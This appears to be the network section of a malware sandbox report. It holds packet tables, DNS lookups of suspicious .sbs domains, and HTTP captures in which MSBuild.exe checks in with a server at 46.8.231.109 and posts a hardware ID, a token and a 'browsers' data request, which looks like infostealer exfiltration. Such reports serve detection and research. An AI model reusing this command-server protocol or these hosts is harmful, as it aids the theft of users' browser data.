Oct 7, 2024 18:44:05.284611940 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.284635067 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.284645081 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.284683943 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.400377989 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.400425911 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.400450945 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.400464058 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.400500059 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.400676966 CEST	64641	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.400696039 CEST	443	64641	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.410554886 CEST	64646	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.410655022 CEST	443	64646	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.410736084 CEST	64646	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.410881996 CEST	64646	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.410917997 CEST	443	64646	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.659549952 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.660162926 CEST	64642	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.660183907 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.660620928 CEST	64642	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.660628080 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.664067030 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.664357901 CEST	64643	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.664377928 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.664690971 CEST	64643	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.664695978 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.756804943 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.756828070 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.757030964 CEST	64642	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.757070065 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.757116079 CEST	64642	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.757200956 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.757234097 CEST	64642	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.757241011 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.757251978 CEST	443	64642	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.758186102 CEST	443	64644	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.761050940 CEST	64644	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.761080027 CEST	443	64644	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.761476994 CEST	64644	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.761482954 CEST	443	64644	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.763575077 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.763634920 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.763701916 CEST	64643	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.763719082 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.763849974 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.763858080 CEST	64643	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.763866901 CEST	64643	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.763897896 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.763952017 CEST	64643	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.763964891 CEST	443	64643	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.790749073 CEST	64648	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.790750027 CEST	64647	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.790779114 CEST	443	64647	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.790781975 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.790864944 CEST	64647	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.790865898 CEST	64648	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.791090965 CEST	64647	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.791100025 CEST	443	64647	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.791110992 CEST	64648	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.791126013 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.854005098 CEST	443	64644	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.854074955 CEST	443	64644	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.854464054 CEST	64644	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.854464054 CEST	64644	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.854464054 CEST	64644	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.855117083 CEST	443	64645	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.857017994 CEST	64649	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.857050896 CEST	443	64649	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.857377052 CEST	64645	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.857408047 CEST	443	64645	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.857413054 CEST	64649	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.857527018 CEST	64649	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.857539892 CEST	443	64649	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.857863903 CEST	64645	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.857871056 CEST	443	64645	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.954579115 CEST	443	64645	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.954741001 CEST	443	64645	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.954811096 CEST	64645	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.954993963 CEST	64645	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.954994917 CEST	64645	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.955049992 CEST	443	64645	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.955080032 CEST	443	64645	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.957295895 CEST	64650	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.957391024 CEST	443	64650	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:05.957520008 CEST	64650	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.957643032 CEST	64650	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:05.957664013 CEST	443	64650	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.102817059 CEST	443	64646	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.103419065 CEST	64646	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.103521109 CEST	443	64646	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.103919029 CEST	64646	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.103940964 CEST	443	64646	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.163096905 CEST	64644	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.163113117 CEST	443	64644	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.200253010 CEST	443	64646	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.200995922 CEST	443	64646	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.201199055 CEST	64646	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.201199055 CEST	64646	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.201199055 CEST	64646	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.203389883 CEST	64651	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.203440905 CEST	443	64651	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.203510046 CEST	64651	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.203634024 CEST	64651	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.203649044 CEST	443	64651	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.506688118 CEST	64646	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.506720066 CEST	443	64646	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.547743082 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.548168898 CEST	64648	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.548198938 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.548594952 CEST	64648	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.548600912 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.566158056 CEST	443	64647	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.566730976 CEST	64647	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.566751957 CEST	443	64647	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.567207098 CEST	64647	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.567212105 CEST	443	64647	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.581796885 CEST	443	64649	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.582243919 CEST	64649	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.582262993 CEST	443	64649	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.582803011 CEST	64649	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.582813978 CEST	443	64649	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.642332077 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.642908096 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.643018007 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.643023014 CEST	64648	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.643066883 CEST	64648	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.643243074 CEST	64648	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.643269062 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.643280983 CEST	64648	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.643292904 CEST	443	64648	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.646289110 CEST	64652	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.646343946 CEST	443	64652	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.646414995 CEST	64652	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.646559954 CEST	64652	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.646576881 CEST	443	64652	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.665621042 CEST	443	64647	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.666321993 CEST	443	64647	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.666380882 CEST	64647	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.666407108 CEST	64647	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.666423082 CEST	443	64647	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.666433096 CEST	64647	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.666438103 CEST	443	64647	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.704371929 CEST	443	64649	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.704612970 CEST	443	64649	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.704705000 CEST	64649	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.704751968 CEST	64649	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.704772949 CEST	443	64649	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.704787016 CEST	64649	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.704792976 CEST	443	64649	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.706984043 CEST	443	64650	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.707359076 CEST	64650	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.707375050 CEST	443	64650	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:06.707808018 CEST	64650	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:06.707813978 CEST	443	64650	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.033610106 CEST	443	64650	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.033797979 CEST	443	64650	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.033922911 CEST	64650	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.034476995 CEST	64650	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.034476995 CEST	64650	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.034523010 CEST	443	64650	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.034548044 CEST	443	64650	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.035351992 CEST	443	64651	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.041461945 CEST	64651	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.041527987 CEST	443	64651	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.044847965 CEST	64651	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.044863939 CEST	443	64651	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.140883923 CEST	443	64651	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.140944958 CEST	443	64651	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.141010046 CEST	64651	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.155719042 CEST	64651	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.155761003 CEST	443	64651	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.155819893 CEST	64651	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.155837059 CEST	443	64651	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.256127119 CEST	443	64652	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.271583080 CEST	64652	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.271605968 CEST	443	64652	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.279396057 CEST	64652	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.279417038 CEST	443	64652	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.370187044 CEST	443	64652	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.370265007 CEST	443	64652	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.370312929 CEST	64652	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.534517050 CEST	64652	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.534550905 CEST	443	64652	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:07.534565926 CEST	64652	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:44:07.534571886 CEST	443	64652	13.107.246.45	192.168.2.7
Oct 7, 2024 18:44:08.246149063 CEST	443	49753	104.98.116.138	192.168.2.7
Oct 7, 2024 18:44:08.246229887 CEST	49753	443	192.168.2.7	104.98.116.138

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:43:13.124170065 CEST	54518	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:22.775037050 CEST	55041	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:22.812875032 CEST	53	55041	1.1.1.1	192.168.2.7
Oct 7, 2024 18:43:24.463080883 CEST	62081	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:24.471975088 CEST	53	62081	1.1.1.1	192.168.2.7
Oct 7, 2024 18:43:24.473795891 CEST	55213	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:24.484790087 CEST	53	55213	1.1.1.1	192.168.2.7
Oct 7, 2024 18:43:24.487732887 CEST	53647	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:24.501086950 CEST	53	53647	1.1.1.1	192.168.2.7
Oct 7, 2024 18:43:26.023323059 CEST	58510	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:26.032701969 CEST	53	58510	1.1.1.1	192.168.2.7
Oct 7, 2024 18:43:26.035444975 CEST	58110	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:26.045408964 CEST	53	58110	1.1.1.1	192.168.2.7
Oct 7, 2024 18:43:26.053395987 CEST	62519	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:26.062470913 CEST	53	62519	1.1.1.1	192.168.2.7
Oct 7, 2024 18:43:26.063703060 CEST	52007	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:26.072884083 CEST	53	52007	1.1.1.1	192.168.2.7
Oct 7, 2024 18:43:26.075817108 CEST	57666	53	192.168.2.7	1.1.1.1
Oct 7, 2024 18:43:26.091537952 CEST	53	57666	1.1.1.1	192.168.2.7
Oct 7, 2024 18:43:58.873758078 CEST	53	50717	162.159.36.2	192.168.2.7
Oct 7, 2024 18:43:59.360868931 CEST	53	49233	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 18:43:13.124170065 CEST	192.168.2.7	1.1.1.1	0xf605	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:22.775037050 CEST	192.168.2.7	1.1.1.1	0x7226	Standard query (0)	nsdm.cumpar-auto-orice-tip.ro	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:24.463080883 CEST	192.168.2.7	1.1.1.1	0x5085	Standard query (0)	exemplarou.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:24.473795891 CEST	192.168.2.7	1.1.1.1	0x7b8d	Standard query (0)	frizzettei.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:24.487732887 CEST	192.168.2.7	1.1.1.1	0x8727	Standard query (0)	isoplethui.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.023323059 CEST	192.168.2.7	1.1.1.1	0x6742	Standard query (0)	bemuzzeki.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.035444975 CEST	192.168.2.7	1.1.1.1	0xe68f	Standard query (0)	exilepolsiy.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.053395987 CEST	192.168.2.7	1.1.1.1	0xfd8a	Standard query (0)	laddyirekyi.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.063703060 CEST	192.168.2.7	1.1.1.1	0x2e48	Standard query (0)	invinjurhey.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.075817108 CEST	192.168.2.7	1.1.1.1	0x1332	Standard query (0)	wickedneatr.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 18:43:10.847258091 CEST	1.1.1.1	192.168.2.7	0x441b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:10.847258091 CEST	1.1.1.1	192.168.2.7	0x441b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:13.132400990 CEST	1.1.1.1	192.168.2.7	0xf605	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:43:15.734438896 CEST	1.1.1.1	192.168.2.7	0x2fb2	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:43:15.734438896 CEST	1.1.1.1	192.168.2.7	0x2fb2	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:22.812875032 CEST	1.1.1.1	192.168.2.7	0x7226	No error (0)	nsdm.cumpar-auto-orice-tip.ro		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:24.471975088 CEST	1.1.1.1	192.168.2.7	0x5085	Name error (3)	exemplarou.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:24.484790087 CEST	1.1.1.1	192.168.2.7	0x7b8d	Name error (3)	frizzettei.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:24.501086950 CEST	1.1.1.1	192.168.2.7	0x8727	No error (0)	isoplethui.sbs		104.21.74.165	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:24.501086950 CEST	1.1.1.1	192.168.2.7	0x8727	No error (0)	isoplethui.sbs		172.67.204.72	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.032701969 CEST	1.1.1.1	192.168.2.7	0x6742	Name error (3)	bemuzzeki.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.045408964 CEST	1.1.1.1	192.168.2.7	0xe68f	Name error (3)	exilepolsiy.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.062470913 CEST	1.1.1.1	192.168.2.7	0xfd8a	Name error (3)	laddyirekyi.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.072884083 CEST	1.1.1.1	192.168.2.7	0x2e48	Name error (3)	invinjurhey.sbs	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.091537952 CEST	1.1.1.1	192.168.2.7	0x1332	No error (0)	wickedneatr.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:26.091537952 CEST	1.1.1.1	192.168.2.7	0x1332	No error (0)	wickedneatr.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:44:05.786091089 CEST	1.1.1.1	192.168.2.7	0x3f14	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:44:05.786091089 CEST	1.1.1.1	192.168.2.7	0x3f14	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

isoplethui.sbs

wickedneatr.sbs

46.8.231.109

nsdm.cumpar-auto-orice-tip.ro

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	46.8.231.109	80	2012	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:43:08.402812958 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:43:08.998260021 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:43:09.002072096 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 31 38 30 39 33 39 33 42 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="hwid"3A1809393B222838420810------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="build"default------KKFHJDAEHIEHJJKFBGDA--
Oct 7, 2024 18:43:09.622942924 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6a 52 69 4d 6d 4d 31 4e 6a 64 6d 4f 44 64 6c 5a 6a 45 78 4e 44 59 30 4e 32 59 77 4d 7a 4e 6b 4f 44 64 69 59 7a 41 33 4d 57 56 69 4d 7a 49 79 5a 54 67 32 5a 54 6b 34 4d 57 52 6a 4e 44 59 33 4d 54 41 30 4d 57 5a 6b 5a 6d 49 34 4e 54 64 6b 4d 32 52 69 59 54 49 78 5a 44 55 7a 4e 47 4a 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZjRiMmM1NjdmODdlZjExNDY0N2YwMzNkODdiYzA3MWViMzIyZTg2ZTk4MWRjNDY3MTA0MWZkZmI4NTdkM2RiYTIxZDUzNGJjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 7, 2024 18:43:09.698240995 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKF Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="message"browsers------FHDHCAAKECFIDHIEBAKF--
